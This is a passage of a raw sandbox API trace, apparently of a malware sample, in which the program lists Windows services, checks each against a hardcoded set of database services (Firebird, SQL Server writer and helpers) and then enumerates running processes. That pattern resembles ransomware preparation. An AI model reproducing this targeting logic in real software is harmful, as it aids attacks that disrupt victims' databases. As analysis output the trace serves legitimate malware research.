CloseHandle (hObject=0x11e4) returned 1 [0246.752] Sleep (dwMilliseconds=0x1f4) [0247.467] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32b4858 [0247.471] EnumServicesStatusExW (in: hSCManager=0x32b4858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0247.471] GetLastError () returned 0xea [0247.471] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1bc4) returned 0x3f63008 [0247.751] EnumServicesStatusExW (in: hSCManager=0x32b4858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f63008, cbBufSize=0x1bc4, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f63008, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0247.752] CloseServiceHandle (hSCObject=0x32b4858) returned 1 [0247.753] lstrlenW (lpString="AppXSvc") returned 7 [0247.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0247.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0247.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0247.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0247.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0247.753] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0247.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0247.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0247.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0247.753] lstrlenW (lpString="Audiosrv") returned 8 [0247.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0247.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0247.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0247.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0247.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0247.753] lstrlenW (lpString="BFE") returned 3 [0247.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0247.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0247.753] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0247.753] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0247.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0247.753] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0247.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0247.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0247.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0247.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0247.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0247.754] lstrlenW (lpString="CDPSvc") returned 6 [0247.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0247.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0247.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0247.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0247.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0247.755] lstrlenW (lpString="ClickToRunSvc") returned 13 [0247.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0247.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0247.755] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0247.755] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0247.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0247.755] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0247.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0247.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0247.755] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0247.755] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0247.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0247.755] lstrlenW (lpString="CryptSvc") returned 8 [0247.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0247.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0247.756] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0247.756] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0247.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0247.756] lstrlenW (lpString="DcomLaunch") returned 10 [0247.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.756] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0247.775] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0247.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0247.775] lstrlenW (lpString="DeviceAssociationService") returned 24 [0247.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0247.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0247.775] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0247.775] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0247.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0247.776] lstrlenW (lpString="Dhcp") returned 4 [0247.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0247.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0247.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0247.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0247.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0247.776] lstrlenW (lpString="Dnscache") returned 8 [0247.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0247.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0247.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0247.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0247.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0247.776] lstrlenW (lpString="DPS") returned 3 [0247.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0247.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0247.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0247.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0247.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0247.776] lstrlenW (lpString="DusmSvc") returned 7 [0247.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0247.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0247.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0247.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0247.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0247.776] lstrlenW (lpString="EventLog") returned 8 [0247.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0247.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0247.776] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0247.777] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0247.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0247.777] lstrlenW (lpString="EventSystem") returned 11 [0247.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0247.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0247.777] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0247.777] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0247.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0247.777] lstrlenW (lpString="FontCache") returned 9 [0247.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0247.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0247.777] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0247.777] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0247.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0247.777] lstrlenW (lpString="gpsvc") returned 5 [0247.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0247.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0247.777] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0247.777] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0247.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0247.777] lstrlenW (lpString="iphlpsvc") returned 8 [0247.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.777] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0247.777] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0247.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0247.777] lstrlenW (lpString="KeyIso") returned 6 [0247.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0247.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0247.778] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0247.778] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0247.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0247.778] lstrlenW (lpString="LanmanServer") returned 12 [0247.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0247.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0247.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0247.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0247.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0247.778] lstrlenW (lpString="LanmanWorkstation") returned 17 [0247.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0247.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0247.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0247.778] lstrlenW (lpString="lfsvc") returned 5 [0247.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0247.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0247.778] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0247.778] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0247.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0247.778] lstrlenW (lpString="lmhosts") returned 7 [0247.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0247.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0247.778] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0247.778] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0247.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0247.779] lstrlenW (lpString="LSM") returned 3 [0247.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0247.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0247.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0247.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0247.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0247.779] lstrlenW (lpString="MpsSvc") returned 6 [0247.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0247.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0247.779] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0247.779] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0247.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0247.779] lstrlenW (lpString="NcbService") returned 10 [0247.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0247.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0247.902] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0247.902] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0247.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0247.902] lstrlenW (lpString="netprofm") returned 8 [0247.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0247.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0247.902] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0247.902] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0247.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0247.902] lstrlenW (lpString="NgcSvc") returned 6 [0247.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0247.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0247.902] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0247.902] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0247.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0247.902] lstrlenW (lpString="NlaSvc") returned 6 [0247.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0247.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0247.902] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0247.902] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0247.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0247.902] lstrlenW (lpString="nsi") returned 3 [0247.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0247.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0247.903] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0247.903] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0247.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0247.903] lstrlenW (lpString="PcaSvc") returned 6 [0247.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0247.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0247.903] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0247.903] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0247.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0247.903] lstrlenW (lpString="PlugPlay") returned 8 [0247.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0247.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0247.903] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0247.903] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0247.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0247.903] lstrlenW (lpString="Power") returned 5 [0247.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0247.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0247.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0247.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0247.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0247.903] lstrlenW (lpString="ProfSvc") returned 7 [0247.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0247.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0247.903] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0247.903] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0247.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0247.903] lstrlenW (lpString="RpcEptMapper") returned 12 [0247.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.903] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0247.904] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0247.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0247.904] lstrlenW (lpString="RpcSs") returned 5 [0247.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0247.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0247.904] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0247.904] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0247.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0247.904] lstrlenW (lpString="SamSs") returned 5 [0247.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0247.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0247.904] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0247.904] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0247.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0247.904] lstrlenW (lpString="Schedule") returned 8 [0247.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0247.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0247.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0247.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0247.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0247.905] lstrlenW (lpString="SecurityHealthService") returned 21 [0247.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0247.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0247.905] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0247.905] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0247.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0247.905] lstrlenW (lpString="SENS") returned 4 [0247.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0247.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0247.905] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0247.905] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0247.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0247.905] lstrlenW (lpString="ShellHWDetection") returned 16 [0247.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.905] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0247.905] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0247.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0247.905] lstrlenW (lpString="Spooler") returned 7 [0247.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0247.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0247.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0247.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0247.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0247.905] lstrlenW (lpString="StateRepository") returned 15 [0247.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0247.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0247.905] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0247.905] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0247.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0247.906] lstrlenW (lpString="SysMain") returned 7 [0247.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0247.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0247.906] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0247.906] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0247.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0247.906] lstrlenW (lpString="SystemEventsBroker") returned 18 [0247.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0247.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0247.906] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0247.906] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0247.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0247.906] lstrlenW (lpString="Themes") returned 6 [0247.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0247.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0247.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0247.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0247.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0247.906] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0247.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0247.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0247.906] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0247.906] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0247.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0247.906] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0247.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0247.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0247.906] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0247.907] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0247.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f63008 | out: hHeap=0x630000) returned 1 [0247.907] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1240 [0248.218] Process32FirstW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.219] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.219] lstrlenW (lpString="System") returned 6 [0248.220] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.221] lstrlenW (lpString="smss.exe") returned 8 [0248.221] Process32NextW (in: hSnapshot=0x1240, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.222] lstrlenW (lpString="csrss.exe") returned 9 [0248.222] 